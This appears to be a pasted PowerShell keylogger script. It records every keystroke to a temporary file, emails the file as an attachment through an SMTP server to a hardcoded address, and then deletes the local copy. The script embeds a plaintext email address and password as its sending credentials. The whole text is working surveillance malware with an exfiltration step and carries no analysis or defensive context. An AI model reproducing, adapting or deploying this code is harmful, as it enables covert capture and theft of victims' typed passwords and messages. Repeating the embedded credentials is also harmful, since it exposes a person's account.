· 6 years ago · Apr 01, 2020, 05:44 PM
1$TimesToRun = 2
2$RunTimeP = 1
3$From = "cyberalexis20@gmail.com"
4$Pass = "depredad0r"
5$To = "cyberalexis20@gmail.com"
6$Subject = "Keylogger Results"
7$body = "Keylogger Results"
8$SMTPServer = "smtp.mail.com"
9$SMTPPort = "587"
10$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11############################
12
13
14
15
16#requires -Version 2
17function Start-KeyLogger($Path="$env:temp\keylogger.txt")
18{
19 # Signatures for API Calls
20 $signatures = @'
21[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
22public static extern short GetAsyncKeyState(int virtualKeyCode);
23[DllImport("user32.dll", CharSet=CharSet.Auto)]
24public static extern int GetKeyboardState(byte[] keystate);
25[DllImport("user32.dll", CharSet=CharSet.Auto)]
26public static extern int MapVirtualKey(uint uCode, int uMapType);
27[DllImport("user32.dll", CharSet=CharSet.Auto)]
28public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
29'@
30
31 # load signatures and make members available
32 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
33
34 # create output file
35 $null = New-Item -Path $Path -ItemType File -Force
36
37 try
38 {
39
40 # create endless loop. When user presses CTRL+C, finally-block
41 # executes and shows the collected key presses
42 $Runner = 0
43 while ($TimesToRun -gt $Runner) {
44 $TimeStart = Get-Date
45 $TimeEnd = $timeStart.addminutes($RunTimeP)
46 while ($TimeEnd -gt $TimeNow) {
47 Start-Sleep -Milliseconds 40
48
49 # scan all ASCII codes above 8
50 for ($ascii = 9; $ascii -le 254; $ascii++) {
51 # get current key state
52 $state = $API::GetAsyncKeyState($ascii)
53
54 # is key pressed?
55 if ($state -eq -32767) {
56 $null = [console]::CapsLock
57
58 # translate scan code to real code
59 $virtualKey = $API::MapVirtualKey($ascii, 3)
60
61 # get keyboard state for virtual keys
62 $kbstate = New-Object Byte[] 256
63 $checkkbstate = $API::GetKeyboardState($kbstate)
64
65 # prepare a StringBuilder to receive input key
66 $mychar = New-Object -TypeName System.Text.StringBuilder
67
68 # translate virtual key
69 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
70
71 if ($success)
72 {
73 # add key to logger file
74 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
75 }
76 }
77 }
78 $TimeNow = Get-Date
79 }
80 $Runner++
81 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
82 Remove-Item -Path $Path -force
83 }
84 }
85 finally
86 {
87 # open logger file in Notepad
88 exit 1
89 }
90}
91
92# records all key presses until script is aborted by pressing CTRL+C
93# will then open the file with collected key codes
94Start-KeyLogger